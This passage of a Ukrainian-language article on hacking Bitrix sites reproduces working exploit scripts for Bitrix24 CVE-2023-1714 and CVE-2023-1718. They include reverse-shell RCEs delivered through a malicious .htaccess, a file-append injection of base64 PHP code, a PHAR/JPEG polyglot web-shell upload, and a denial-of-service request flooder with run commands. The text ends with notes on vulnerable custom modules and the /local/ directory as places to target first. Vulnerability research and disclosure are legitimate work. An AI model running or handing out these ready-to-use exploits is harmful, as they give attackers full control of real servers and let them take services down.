    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def start_server():
    class MyHandler(http.server.BaseHTTPRequestHandler):
        htaccess = open("./.htaccess", "rb").read()

        def do_GET(self):
            path = urlparse(self.path).path

            self.send_response(200)
            self.end_headers()

            # Request .htaccess
            if ".htaccess" in path:
                self.wfile.write(self.htaccess)
                self.wfile.flush()
                return

            # Delay
            print("[+] Delaying return by", DELAY_SECONDS, "seconds")
            # send the body of the response
            for i in range(DELAY_SECONDS):
                self.wfile.write(b"A\n")
                self.wfile.flush()
                time.sleep(1)

            # Shutdown server when done
            self.server.shutdown()

        def log_message(self, format: str, *args: typing.Any) -> None:
            # Silence logging
            pass

    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
        """Handle requests in a separate thread."""

    httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)

    def forever():
        with httpd:
            httpd.serve_forever()

    thread = threading.Thread(target=forever, daemon=True)
    thread.start()
    print("[+] Started HTTP server on", LPORT1)
    return httpd


def instagram_import(session, sessid):
    session.post(
        HOST
        + "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
        data=nested_to_urlencoded([{
            "IMAGES": [
                          f"http://{LHOST}:{LPORT1}/.htaccess"
                      ] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
            "NAME": "Product 1"
        }], prefix="items"
        ),
        headers={"X-Bitrix-Csrf-Token": sessid},
    )
    print("[+] Waiting done")


def test_exists(dir_name):
    resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
    return resp.status_code == 200


def bruteforce():
    print("[+] Bruteforcing .htaccess location")
    chars = string.digits + string.ascii_lowercase
    for dir_name in itertools.product(chars, repeat=3):
        dir_name = "".join(dir_name)
        if test_exists(dir_name):
            print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
            return dir_name


def reverse_shell(dir_name):
    requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    start_server()
    threading.Thread(target=instagram_import, args=(s, sessid)).start()
    dir_name = bruteforce()
    threading.Thread(target=reverse_shell, args=(dir_name,)).start()

    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT2)])

.htaccess файл:

<Files ~ "^\.ht">
    Require all granted
    Order allow,deny
    Allow from all
    SetHandler application/x-httpd-php
</Files>

# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

Цей файл повинен знаходитися в тому ж каталозі, що і код використання на Python3. При запуску коду експлойту буде створений HTTP-сервер на LPORT1, обслуговуючий шкідливий файл .htaccess, а також запущений приймач netcat на LPORT2 для зворотного шелла.

CVE-2023-1714

Незахищене додавання файлу до RCE в Bitrix24

Ця вразливість може бути використана, якщо у зловмисника є доступ до функцій CRM і дозвіл на створення та експорт контактів. Такий рівень доступу може бути наданий, якщо користувач входить в групу керування.

# Bitrix24 Insecure File Append RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64

import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"

LPORT = 9001
LHOST = "192.168.86.43"

PROXY = {"http": "http://localhost:8080"}

CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); 
"""


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def set_progress_data(session, sessid):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded(
                            {
                                "p": [{
                                    "c": "crm",
                                    "v": {
                                        "filePath": f"{ROOT_PATH}{TARGET_FILE}",
                                        "processToken": "b",
                                    },
                                    "n": "crm_cloud_export_CONTACT"
                                }],
                                "sessid": sessid
                            }
                        )))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def trigger_file_append(session, sessid):
    print(f"[+] Appending payload to target file")
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data={
            "ENTITY_TYPE": "CONTACT",
            "EXPORT_TYPE": "csv",
            "COMPONENT_NAME": "bitrix:crm.contact.list",
            "PROCESS_TOKEN": "b",
            "REQUISITE_MULTILINE": "Y",
            "EXPORT_ALL_FIELDS": "Y",
            "INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
            "INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
        }
    )


def delete_contact(session: requests.Session, sessid, contactId):
    print(f"[+] Deleting contact {contactId}")
    res = session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[gridId]=CRM_CONTACT_LIST_V12&params[entityTypeId]=3&params[extras][CATEGORY_ID]=0&params[entityIds][0]={contactId}",
    )
    hash = res.json()["data"]["hash"]
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[hash]={hash}",
    )
    print(f"[+] Contact {contactId} deleted")


def create_contact(session: requests.Session, sessid):
    payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
    res = session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
            "PARAMS[CATEGORY_ID]": "0",
            "EDITOR_CONFIG_ID": "contact_details",
            "HONORIFIC": "",
            "LAST_NAME": "",
            "NAME": "Definitely not Attacker",
            "SECOND_NAME": "",
            "BIRTHDATE": "",
            "POST": "",
            "PHONE[n0][VALUE]": "",
            "PHONE[n0][VALUE_TYPE]": "WORK",
            "EMAIL[n0][VALUE]": "",
            "EMAIL[n0][VALUE_TYPE]": "WORK",
            "WEB[n0][VALUE]": "",
            "WEB[n0][VALUE_TYPE]": "WORK",
            "IM[n0][VALUE]": "",
            "IM[n0][VALUE_TYPE]": "FACEBOOK",
            "CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
            "TYPE_ID": "CLIENT",
            "SOURCE_ID": "CALL",
            "SOURCE_DESCRIPTION": payload,
            "OPENED": "Y",
            "EXPORT": "Y",
            "ASSIGNED_BY_ID": "3",
            "COMMENTS": "",
            "contact_0_details_editor_comments_html_editor": "",
            "ACTION": "SAVE",
            "ACTION_ENTITY_ID": "",
            "ACTION_ENTITY_TYPE": "C",
            "ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
        }
    )
    contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
    print(f"[+] Created contact {contactId}")
    return int(contactId)


def reverse_shell():
    requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    contactId = create_contact(s, sessid)
    try:
        set_progress_data(s, sessid)
        trigger_file_append(s, sessid)
    finally:
        delete_contact(s, sessid, contactId)
    threading.Thread(target=reverse_shell).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT)])

Бітрікс24 PHAR Десеріалізація RCE

Ця вразливість може бути використана, якщо у зловмисника є доступ до функцій CRM і дозвіл на редагування контактів. Такий рівень доступу може бути наданий, якщо користувач входить в групу керування.

# Bitrix24 PHAR Deserialization RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"

ROOT_PATH = "/var/www/html/"

PORT = 9001
LHOST = "192.168.86.125"

PROXY = {"http": "http://localhost:8080"}


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def upload_web_shell(s, sessid):
    data = f"""
    <?php 
    sleep(2);
    $sock=fsockopen("{LHOST}", {PORT});
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
    return upload(s, sessid, data)


def upload(session, sessid, data):
    CID = random.randint(0, pow(10, 5))
    resp = session.post(
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
        },
        files={
            "bxu_files[0][default]": (
                "file",
                data,
                "text/plain",
            )
        },
        proxies=PROXY,
    ).json()
    return resp["files"][0]["file"]["files"]["default"]["tmp_name"]


def make_phar(path):
    os.system("rm ./test.phar")
    print(f"[+] Creating PHAR")
    os.system(f"php --define phar.readonly=0 create_phar.php {path}")
    return open("./test.phar", 'rb').read()


def set_progress_data(session, sessid, path):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded([{
                            "c": "crm",
                            "v": {
                                "FILE_PATH": f"phar://{path}/a",
                                "PROCESS_TOKEN": "b",
                            },
                            "n": "crm_stexport_contact"
                        }], "p"
                        ) | {"sessid": sessid}))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def get_upload_params(session, sessid):
    resp = session.post(
        HOST
        + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
        + sessid,
        data={
            "FIELD_NAME": "PHOTO",
            "ACTION": "RENDER_IMAGE_INPUT",
            "ACTION_ENTITY_ID": "0",
        },
    )
    controlUid = re.search(
        re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
    ).group(1)
    controlSign = re.search(
        re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
    ).group(1)
    urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
    user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
    return controlUid, controlSign, urlUpload, user_id


def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
    resp = session.post(
        HOST + urlUpload,
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_files[file167][name]": "bitrix-out.jpg",
            "bxu_files[file167][type]": "image/jpg",
            "bxu_files[file167][size]": "10",
            "AJAX_POST": "Y",
            "USER_ID": user_id,
            "sessid": sessid,
            "SITE_ID": SITE_ID,
            "bxu_info[controlId]": "bitrixUploader",
            "bxu_info[CID]": controlUid,
            "cid": controlUid,
            "moduleId": "crm",
            "allowUpload": "I",
            "uploadMaxFilesize": "3145728",
            "bxu_info[uploadInputName]": "bxu_files",
            "bxu_info[version]": "1",
            "bxu_info[mode]": "upload",
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": "pIndex1",
            "mfi_mode": "upload",
            "mfi_sign": controlSign,
        },
        files={
            "bxu_files[file167][default]": (
                "bitrix-out.jpg",
                data,
                "image/jpg",
            )
        },
        proxies=PROXY,
    )
    full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
    return re.search(
        re.compile(
            "/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
        ),
        full_path,
    ).group(1)


def trigger_file_exists(session, sessid):
    session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=nested_to_urlencoded({
            "SITE_ID": SITE_ID,
            "ENTITY_TYPE_NAME": "CONTACT",
            "EXPORT_TYPE": "csv",
            "PROCESS_TOKEN": "b",
        }, "PARAMS") | {"ACTION": "STEXPORT"}
    )


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    webshell_path = upload_web_shell(s, sessid)
    ROOT_PATH = webshell_path[:webshell_path.index("upload")]
    print(f"[+] Webshell uploaded to '{webshell_path}'")
    controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
    data = make_phar(webshell_path)
    path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
    path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
    print(f"[+] PHAR uploaded to '{path}'")
    set_progress_data(s, sessid, path)
    print(f"[+] Triggering file_exists phar deserialization")
    threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(PORT)])

Наступні файли PHP також повинні знаходитися в цій же директорії:

create_phar.php:

<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;

include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
    public $activityFile;
    public $dialogFileName = 'properties_dialog.php';
    public $map;
    public $mapCallback;
    public $documentType;
    public $activityName;
    public $workflowTemplate;
    public $workflowParameters;
    public $workflowVariables;
    public $currentValues;
    public $formName;
    public $siteId;
    public $renderer;
    public $context;
    public $runtimeData = array();

    public function __toString()
    {
        if ($this->renderer !== null)
        {
            return call_user_func($this->renderer, $this);
        }

        $runtime = \CBPRuntime::getRuntime();
        $runtime->startRuntime();

        return (string)$runtime->executeResourceFile(
            $this->activityFile,
            $this->dialogFileName,
            array_merge(array(
                'dialog' => $this,
                //compatible parameters
                'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
                'formName' => $this->getFormName()
                ), $this->getRuntimeData()
            )
        );
    }
}

$cloudDebug = new CCloudsDebug();

$dialog = new PropertiesDialog();


$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];

$cloudDebug->head = $dialog;

function generate_base_phar($o){
    global $tempname;
    @unlink($tempname);
    $phar = new \Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;

// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));

CCloudsDebug.php:

<?php

class CCloudsDebug
{

    public $head = '';
    public $id = '';
}

CVE-2023-1718

Цей Python-скрипт призначений для експлуатації вразливості безпеки в Бітрікс24, приводящей до атаки типу «відказ в обслуговуванні» (DoS). Виразність, ідентифікована як CVE-2023-1718, дозволяє зловмиснику зруйнувати нормальну роботу екземпляра Бітрікс24.

pip install aiohttp
python3 bitrix24dos.py --host <HOST> --site_id <SITE_ID Value> --num_requests <Number of Requests>
#!/usr/bin/env python3

import random
import asyncio
import aiohttp
import re
import argparse

async def preauth(session, host):
    try:
        async with session.get(host, ssl=False) as response:
            data = await response.text()
            return re.search(r"'bitrix_sessid':'([a-f0-9]{32})'", data).group(1)
    except aiohttp.ClientError as e:
        print(f"Failed to access the website: {e}")
        return None

async def DoS(session, sessid, host, site_id, num_requests):
    tasks = []
    for _ in range(num_requests):
        CID = random.randint(0, pow(10, 5))
        url = f"{host}/desktop_app/file.ajax.php?action=uploadfile"
        data = {
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
            "bxu_files[0][files][default][tmp_url]": "a:php://stdout",
            "bxu_files[0][files][default][tmp_name]": f"file{CID}",
        }
        headers = {
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": site_id,
        }

        task = asyncio.create_task(send_request(session, url, data, headers))
        tasks.append(task)

    await asyncio.gather(*tasks)

async def send_request(session, url, data, headers):
    async with session.post(url, data=data, headers=headers, ssl=False) as response:
        pass

async def main(host, site_id, num_requests):
    async with aiohttp.ClientSession() as session:
        sessid = await preauth(session, host)
        if sessid is not None:
            await DoS(session, sessid, host, site_id, num_requests)
        else:
            print("Aborting due to website access failure.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Bitrix24 Improper File Stream Access DoS")
    parser.add_argument("--host", required=True, help="Target host URL")
    parser.add_argument("--site_id", required=True, help="SITE_ID value")
    parser.add_argument("--num_requests", type=int, default=1000, help="Number of requests to send")
    args = parser.parse_args()

    asyncio.run(main(args.host, args.site_id, args.num_requests))

Детальніше тут

Завадливі модулі

У екосистемі Бітрікса накопичилася ціла колекція підозрілих модулів. Багато з них створюються поспіхом, без нормального аудиту та з мінімальним контролем якості, після чого спокійно потрапляють у продакшн. Пояснити кількість помилок у їхньому коді непросто: навіть поверхнева перевірка 30 випадково взятих модулів з офіційного маркетплейса показала, що 24 з них містять уразливості. І є всі підстави припускати, що проблемні можуть бути й решта.

Реєстр уязвимостей сторонніх модулів

Відносно нещодавно створили окремий реєстр уязвимостей в таких модулях. Там розуміється не все, навіть, можно сказати, що там майже нічого немає, адже ніхто ці модулі не тестує, але це хотіти що-то.

Причому це тільки публічні модулі, які на самому деле представляють собою меньшинство. Частіше всього зустрічаються так звані “самописи”. Вони з’являються, коли компанія не хоче платити величезні гроші за модуль, додаючи одну кнопку, і вирішує написати його самостійно, ігноруючи всі стандарти безпечної розробки.

Такі самописи зустрічаються практично на будь-якому сайті з бітриксом. Ведь із-за вартості, базову задачу або бізнес-процес в бітриксе компанії користувачеві намагаються вирішити самостійно, заставляючи непонятно кого написати .php костили

Усі модулі за умовчанням розміщені в директорії /local/

Тут, думаю, варто розповісти детальніше.

Директорія /local/

Щоб зробити життя розробникам проектів зручнішим, в ядре D7 з версією головного модуля 14.0.1 основні файли користувальницьких проектів винесено з папки /bitrix/ в папку /local/ . Що дозволяє ізолювати змінювані файли проекту від папки продукту.

При чому /local/* не потрапляє під захист вбудованого в Бітрикс WAF , а значить фільтрація там вже не врятується. Відповідно всі кастомні модулі у нас тепер мало того, що диряві, так ще й беззахисні.

Давайте розберем основні директорії обробляються в /локальний/

  1. діяльність — дії БП

У цій директорії зберігаються користувацькі дії для бізнес-процесів, які можуть бути використані для автоматизації різних процесів на сайті. Це може бути створення задачі, відправка увідомлень, зміна статусів і прочее.

Приклад:

/local/activities/SendEmail.php
  1. компоненти

Тут зберігаються як персональні компоненти, так і перевизначені стандартні компоненти 1С-Бітрікс. Компоненти — це функціональні блоки, які можна багатократно використовувати на сайті, такі як форми, списки, галереї тощо. д.

Приклад:

/local/components/my_component/detail.php
  1. gadgets — гаджеты рабочего стола

Гаджети — це невеликі елементи інтерфейсу, які можна додати в адміністративну панель для швидкого доступу до даних або дій. Наприклад, показати статистику, новини або повідомлення про події.

Приклад:

/local/gadgets/dashboardWidget.php
  1. модулі

Ось саме сюда радить бути в першу чергу

Це місце для зберігання кстомних модулів, які можуть додати нову функціональність в систему. Наприклад, модулі для інтеграції із зовнішніми сервісами або для виконання специфічних завдань.

Приклад:

/local/modules/my_module/include.php

У цьому файлі буде зберігатися логіка роботи модуля, наприклад, підключення API.

  1. php_interface — файли init.php і dbconn.php , папка user_lang

Тут містяться всі скрипти, які відповідають для налаштування та кастомізації роботи Бітрікс. У цій папці зазвичай розміщуються:

  • init.php — файл ініціалізації, де підключаються всі необхідні компоненти, класи та модулі.

  • events.php — розробники подій, які додають власну логіку в стандартні процеси.

  • constants.php — файл із константами, які базуються на проекті.

Приклад структури:

/local/php_interface/
  init.php
  events.php
  constants.php
  classes/
    User.php
  1. шаблони — шаблони сайтів, шаблони компонентів, шаблони сторінок

Топ 2 місце куда надо бити, після модулей. Усі XSS-ки ймовірно будуть торчати саме тут

Ця папка містить усі кастомні шаблони для вашого сайту. Тут можна зберігати як основні шаблони сайту, так і шаблони окремих компонентів.

Приклад:

/local/templates/my_template/header.php

Файли з включеними областями, які включені в шаблон і зберігаються в папці з шаблоном сайту ( /local/templates/імя_шаблона/includes/ ).

  1. blocks — блоки Сайтов24

Для зручності та узгодженості стилю в проекті використовуються блоки, як у підході БЭМ. Застосовуються в модульних елементах інтерфейсу.

Приклад:

/local/blocks/button/button.css 
/local/blocks/form/form.js
  1. routes — файли з конфігураціями маршрутів маршрутизації

Якщо в проекті використовується маршрутизація (наприклад, для REST API або кастомних маршрутів для сторінок), то всі налаштування маршрутів та їх обробників розміщуються в цій директорії.

Приклад:

/local/routes/apiRoutes.php
  1. js — скрипти для власних рішень

Усі скрипти та бібліотеки для фронтенду також варто зберігати в цій папці. Вона буде зручною для організації кастомних рішень, таких як інтерактивні елементи на сторінках.

Приклад:

/local/js/jquery.min.js
/local/js/myCustomScript.js
  1. /local/images — Зображення та файли для шаблонів

Усі зображення для шаблонів, шрифти або прочі статичні файли, які не мають відношення до функціональності, зберігаються в директорії /local/images.

Приклад:

/local/images/logo.png

З версією 24.100.0 головного модуля в папці /local/ можуть бути розміщені файли параметрів параметрів ядра .settings.phpі .settings_extra.php. При обробці папки пріоритет завжди в папці /local/ перед /bitrix/ . Це означає, що якщо в /local/templates/ і /bitrix/templates/ будуть знаходитися шаблони сайту з одинаковою назвою, то підключається шаблон з /local/ .

Висновок

Друга частина зосереджена на найнебезпечніших проблемах Bitrix: критичних RCE-уразливостях, обходах WAF, слабких модулях і ризиках у Bitrix24. Ці розділи показують, як окремі помилки в логіці імпорту, шаблонах або сервісних файлах можуть призвести до повного захоплення системи.
Матеріал допомагає зрозуміти, де саме з’являються реальні точки компрометації, як працюють відомі CVE та чому автооновлення й модулі /local/ часто стають головними джерелами проблем.

У підсумку — це практичний огляд того, як виглядає реальний злам Bitrix і які місця в першу чергу потребують глибокої перевірки.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.